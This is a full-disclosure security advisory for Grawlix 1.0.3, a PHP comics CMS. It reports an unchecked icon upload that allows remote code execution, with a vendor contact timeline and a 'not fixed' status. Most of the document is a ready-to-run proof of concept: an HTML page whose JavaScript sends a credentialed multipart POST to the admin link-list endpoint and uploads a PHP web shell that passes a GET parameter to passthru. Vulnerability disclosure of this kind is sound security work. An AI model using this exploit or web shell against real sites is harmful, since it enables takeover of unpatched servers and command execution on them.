Grawlix 1.0.3: Code Execution
Date: 2015-12-21 10:39:181. Introduction
| Affected Product: | Grawlix 1.0.3 |
| Fixed in: | not fixed |
| Fixed Version Link: | n/a |
| Vendor Website: | http://www.getgrawlix.com/ |
| Vulnerability Type: | Code Execution |
| Remote Exploitable: | Yes |
| Reported to vendor: | 11/17/2015 |
| Disclosed to public: | 12/21/2015 |
| Release mode: | Full Disclosure |
| CVE: | n/a |
| Credits | Tim Coen of Curesec GmbH |
2. Overview
CVSS
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description
Grawlix is a CMS for publishing comics, which is written in PHP.
When uploading an image icon for a link, neither the file type nor the file extension are checked, leading to code execution.
It should be noted that admin credentials are required to upload an icon, and that because of a bug when uploading icons, the upload only works if Grawlix is installed in the root directory.
3. Proof of Concept
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/_admin/site.link-list.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------172718417319970434061213874184");
xhr.withCredentials = true;
var body = "-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"input[title]\"\r\n" +
"\r\n" +
"Site name\r\n" +
"-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"input[url]\"\r\n" +
"\r\n" +
"http://google.com\r\n" +
"-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"icon_file\"; filename=\"test.php\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"\x3c?php \n" +
"passthru($_GET[\'x\']);\n" +
"\r\n" +
"-----------------------------172718417319970434061213874184\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"save\r\n" +
"-----------------------------172718417319970434061213874184--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
| 11/17/2015 | Informed Vendor about Issue (no reply) |
| 12/10/2015 | Reminded Vendor of Disclosure Date (no reply) |
| 12/21/2015 | Disclosed to public |